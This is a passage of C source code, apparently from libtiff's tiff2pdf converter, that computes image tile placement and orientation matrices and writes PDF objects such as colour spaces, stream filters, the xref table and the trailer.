((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } if(t2p->tiff_orientation==0 || t2p->tiff_orientation==1){ for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ t2p_compose_pdf_page_orient( &(tiles[i].tile_box) , 0); } return; } for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ boxp=&(tiles[i].tile_box); boxp->x1 -= t2p->pdf_imagebox.x1; boxp->x2 -= t2p->pdf_imagebox.x1; boxp->y1 -= t2p->pdf_imagebox.y1; boxp->y2 -= t2p->pdf_imagebox.y1; if(t2p->tiff_orientation==2 || t2p->tiff_orientation==3){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation==3 || t2p->tiff_orientation==4){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==8 || t2p->tiff_orientation==5){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==5 || t2p->tiff_orientation==6){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation > 4){ f=boxp->x1; boxp->x1 = boxp->y1; boxp->y1 = f; f=boxp->x2; boxp->x2 = boxp->y2; boxp->y2 = f; t2p_compose_pdf_page_orient_flip(boxp, t2p->tiff_orientation); } else { t2p_compose_pdf_page_orient(boxp, t2p->tiff_orientation); } } return; } void t2p_compose_pdf_page_orient(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0; boxp->mat[2]=m1[2]=0.0; boxp->mat[3]=m1[3]=0.0; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0; switch(orientation){ case 0: case 1: break; case 2: boxp->mat[0]=0.0F-m1[0]; boxp->mat[6]+=m1[0]; break; case 3: boxp->mat[0]=0.0F-m1[0]; boxp->mat[4]=0.0F-m1[4]; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 4: boxp->mat[4]=0.0F-m1[4]; boxp->mat[7]+=m1[4]; break; case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; boxp->mat[7]+=m1[0]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[0]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; break; } return; } void t2p_compose_pdf_page_orient_flip(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0F; boxp->mat[2]=m1[2]=0.0F; boxp->mat[3]=m1[3]=0.0F; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0F; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0F; switch(orientation){ case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[4]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; break; } return; } /* This function writes a PDF Contents stream to output. */ tsize_t t2p_write_pdf_page_content_stream(T2P* t2p, TIFF* output){ tsize_t written=0; ttile_t i=0; char buffer[512]; int buflen=0; T2P_BOX box; if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount>0){ for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount; i++){ box=t2p->tiff_tiles[t2p->pdf_page].tiles_tiles[i].tile_box; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d_%ld Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page + 1, (long)(i + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } } else { box=t2p->pdf_imagebox; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } return(written); } /* This function writes a PDF Image XObject stream dictionary to output. */ tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2pWriteFile(output, (tdata_t) "/Type /XObject \n/Subtype /Image \n/Name /Im", 42); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); if(tile != 0){ written += t2pWriteFile(output, (tdata_t) "_", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)tile); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } written += t2pWriteFile(output, (tdata_t) "\n/Width ", 8); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Height ", 9); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); } else { if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/ColorSpace ", 13); written += t2p_write_pdf_xobject_cs(t2p, output); if (t2p->pdf_image_interpolate) written += t2pWriteFile(output, (tdata_t) "\n/Interpolate true", 18); if( (t2p->pdf_switchdecode != 0) #ifdef CCITT_SUPPORT && ! (t2p->pdf_colorspace & T2P_CS_BILEVEL && t2p->pdf_compression == T2P_COMPRESS_G4) #endif ){ written += t2p_write_pdf_xobject_decode(t2p, output); } written += t2p_write_pdf_xobject_stream_filter(tile, t2p, output); return(written); } /* * This function writes a PDF Image XObject Colorspace name to output. */ tsize_t t2p_write_pdf_xobject_cs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[128]; int buflen=0; float X_W=1.0; float Y_W=1.0; float Z_W=1.0; if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ written += t2p_write_pdf_xobject_icccs(t2p, output); return(written); } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ written += t2pWriteFile(output, (tdata_t) "[ /Indexed ", 11); t2p->pdf_colorspace ^= T2P_CS_PALETTE; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_PALETTE; buflen=snprintf(buffer, sizeof(buffer), "%u", (0x0001 << t2p->tiff_bitspersample)-1 ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_palettecs ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ]\n", 7); return(written); } if(t2p->pdf_colorspace & T2P_CS_BILEVEL){ written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } if(t2p->pdf_colorspace & T2P_CS_GRAY){ if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } } if(t2p->pdf_colorspace & T2P_CS_RGB){ if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceRGB \n", 12); } } if(t2p->pdf_colorspace & T2P_CS_CMYK){ written += t2pWriteFile(output, (tdata_t) "/DeviceCMYK \n", 13); } if(t2p->pdf_colorspace & T2P_CS_LAB){ written += t2pWriteFile(output, (tdata_t) "[/Lab << \n", 10); written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Range ", 7); buflen=snprintf(buffer, sizeof(buffer), "[%d %d %d %d] \n", t2p->pdf_labrange[0], t2p->pdf_labrange[1], t2p->pdf_labrange[2], t2p->pdf_labrange[3]); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); } return(written); } tsize_t t2p_write_pdf_transfer(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<< /Type /ExtGState \n/TR ", 25); if(t2p->tiff_transferfunctioncount == 1){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); } else { written += t2pWriteFile(output, (tdata_t) "[ ", 2); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 2)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) "/Identity ] ", 12); } written += t2pWriteFile(output, (tdata_t) " >> \n", 5); return(written); } tsize_t t2p_write_pdf_transfer_dict(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; char buffer[32]; int buflen=0; (void)i; /* XXX */ written += t2pWriteFile(output, (tdata_t) "/FunctionType 0 \n", 17); written += t2pWriteFile(output, (tdata_t) "/Domain [0.0 1.0] \n", 19); written += t2pWriteFile(output, (tdata_t) "/Range [0.0 1.0] \n", 18); buflen=snprintf(buffer, sizeof(buffer), "/Size [%u] \n", (1<<t2p->tiff_bitspersample)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/BitsPerSample 16 \n", 19); written += t2p_write_pdf_stream_dict(((tsize_t)1)<<(t2p->tiff_bitspersample+1), 0, output); return(written); } tsize_t t2p_write_pdf_transfer_stream(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; written += t2p_write_pdf_stream( t2p->tiff_transferfunction[i], (((tsize_t)1)<<(t2p->tiff_bitspersample+1)), output); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_calcs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[256]; int buflen=0; float X_W=0.0; float Y_W=0.0; float Z_W=0.0; float X_R=0.0; float Y_R=0.0; float Z_R=0.0; float X_G=0.0; float Y_G=0.0; float Z_G=0.0; float X_B=0.0; float Y_B=0.0; float Z_B=0.0; float x_w=0.0; float y_w=0.0; float z_w=0.0; float x_r=0.0; float y_r=0.0; float x_g=0.0; float y_g=0.0; float x_b=0.0; float y_b=0.0; float R=1.0; float G=1.0; float B=1.0; written += t2pWriteFile(output, (tdata_t) "[", 1); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/CalGray ", 9); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/CalRGB ", 8); x_w = t2p->tiff_whitechromaticities[0]; y_w = t2p->tiff_whitechromaticities[1]; x_r = t2p->tiff_primarychromaticities[0]; y_r = t2p->tiff_primarychromaticities[1]; x_g = t2p->tiff_primarychromaticities[2]; y_g = t2p->tiff_primarychromaticities[3]; x_b = t2p->tiff_primarychromaticities[4]; y_b = t2p->tiff_primarychromaticities[5]; z_w = y_w * ((x_g - x_b)*y_r - (x_r-x_b)*y_g + (x_r-x_g)*y_b); Y_R = (y_r/R) * ((x_g-x_b)*y_w - (x_w-x_b)*y_g + (x_w-x_g)*y_b) / z_w; X_R = Y_R * x_r / y_r; Z_R = Y_R * (((1-x_r)/y_r)-1); Y_G = ((0.0F-(y_g))/G) * ((x_r-x_b)*y_w - (x_w-x_b)*y_r + (x_w-x_r)*y_b) / z_w; X_G = Y_G * x_g / y_g; Z_G = Y_G * (((1-x_g)/y_g)-1); Y_B = (y_b/B) * ((x_r-x_g)*y_w - (x_w-x_g)*y_r + (x_w-x_r)*y_g) / z_w; X_B = Y_B * x_b / y_b; Z_B = Y_B * (((1-x_b)/y_b)-1); X_W = (X_R * R) + (X_G * G) + (X_B * B); Y_W = (Y_R * R) + (Y_G * G) + (Y_B * B); Z_W = (Z_R * R) + (Z_G * G) + (Z_B * B); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0; } written += t2pWriteFile(output, (tdata_t) "<< \n", 4); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma 2.2 \n", 12); } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Matrix ", 8); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f] \n", X_R, Y_R, Z_R, X_G, Y_G, Z_G, X_B, Y_B, Z_B); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma [2.2 2.2 2.2] \n", 22); } written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_icccs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "[/ICCBased ", 11); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_icccs); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R] \n", 7); return(written); } tsize_t t2p_write_pdf_xobject_icccs_dict(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/N ", 3); buflen=snprintf(buffer, sizeof(buffer), "%u \n", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Alternate ", 11); t2p->pdf_colorspace ^= T2P_CS_ICCBASED; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_ICCBASED; written += t2p_write_pdf_stream_dict(t2p->tiff_iccprofilelength, 0, output); return(written); } tsize_t t2p_write_pdf_xobject_icccs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->tiff_iccprofile, (tsize_t) t2p->tiff_iccprofilelength, output); return(written); } /* This function writes a palette stream for an indexed color space to output. */ tsize_t t2p_write_pdf_xobject_palettecs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->pdf_palette, (tsize_t) t2p->pdf_palettesize, output); return(written); } /* This function writes a PDF Image XObject Decode array to output. */ tsize_t t2p_write_pdf_xobject_decode(T2P* t2p, TIFF* output){ tsize_t written=0; int i=0; written += t2pWriteFile(output, (tdata_t) "/Decode [ ", 10); for (i=0;i<t2p->tiff_samplesperpixel;i++){ written += t2pWriteFile(output, (tdata_t) "1 0 ", 4); } written += t2pWriteFile(output, (tdata_t) "]\n", 2); return(written); } /* This function writes a PDF Image XObject stream filter name and parameters to output. */ tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; if(t2p->pdf_compression==T2P_COMPRESS_NONE){ return(written); } written += t2pWriteFile(output, (tdata_t) "/Filter ", 8); switch(t2p->pdf_compression){ #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: written += t2pWriteFile(output, (tdata_t) "/CCITTFaxDecode ", 16); written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /K -1 ", 9); if(tile==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } } if(t2p->pdf_switchdecode == 0){ written += t2pWriteFile(output, (tdata_t) " /BlackIs1 true ", 16); } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: written += t2pWriteFile(output, (tdata_t) "/DCTDecode ", 11); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR) { written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /ColorTransform 1 >>\n", 24); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: written += t2pWriteFile(output, (tdata_t) "/FlateDecode ", 13); if(t2p->pdf_compressionquality%100){ written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /Predictor ", 14); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_compressionquality%100); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Columns ", 10); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Colors ", 9); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } break; #endif default: break; } return(written); } /* This function writes a PDF xref table to output. */ tsize_t t2p_write_pdf_xreftable(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[64]; int buflen=0; uint32 i=0; written += t2pWriteFile(output, (tdata_t) "xref\n0 ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n0000000000 65535 f \n", 22); for (i=0;i<t2p->pdf_xrefcount;i++){ snprintf(buffer, sizeof(buffer), "%.10lu 00000 n \n", (unsigned long)t2p->pdf_xrefoffsets[i]); written += t2pWriteFile(output, (tdata_t) buffer, 20); } return(written); } /* * This function writes a PDF trailer to output. */ tsize_t t2p_write_pdf_trailer(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; size_t i = 0; for (i = 0; i < sizeof(t2p->pdf_fileid) - 8; i += 8) snprintf(t2p->pdf_fileid + i, 9, "%.8X", rand()); written += t2pWriteFile(output, (tdata_t) "trailer\n<<\n/Size ", 17); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount+1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Root ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_catalog); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/Info ", 12); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_info); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n/ID[<", 11); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) "><", 2); written += t2pWriteFile(output, (tdata_t) t2p->pdf_fileid, sizeof(t2p->pdf_fileid) - 1); written += t2pWriteFile(output, (tdata_t) ">]\n>>\nstartxref\n", 16); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_startxref); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n%%EOF\n", 7); return(written); } /* This function writes a PDF to a file given a pointer to a TIFF. The idea with using a TIFF* as output for a PDF file is that the file can be created with TIFFClientOpen for memory-mapped use within the TIFF library, and TIFFWriteEncodedStrip can be used to write compressed data to the output. The output is not actually a TIFF file, it is a PDF file. This function uses only t2pWriteFile and TIFFWriteEncodedStrip to write to the output TIFF file. When libtiff would otherwise be writing data to the output file, the write procedure of the TIFF structure is replaced with an empty implementation. The first argument to the function is an initialized and validated T2P context struct pointer. The second argument to the function is the TIFF* that is the input that has been opened for reading and no other functions have been called upon it. The third argument to the function is the TIFF* that is the output that has been opened for writing. It has to be opened so that it hasn't written any data to the output. If the output is seekable then it's OK to seek to the beginning of the file. The function only writes to the output PDF and does not seek. See the example usage in the 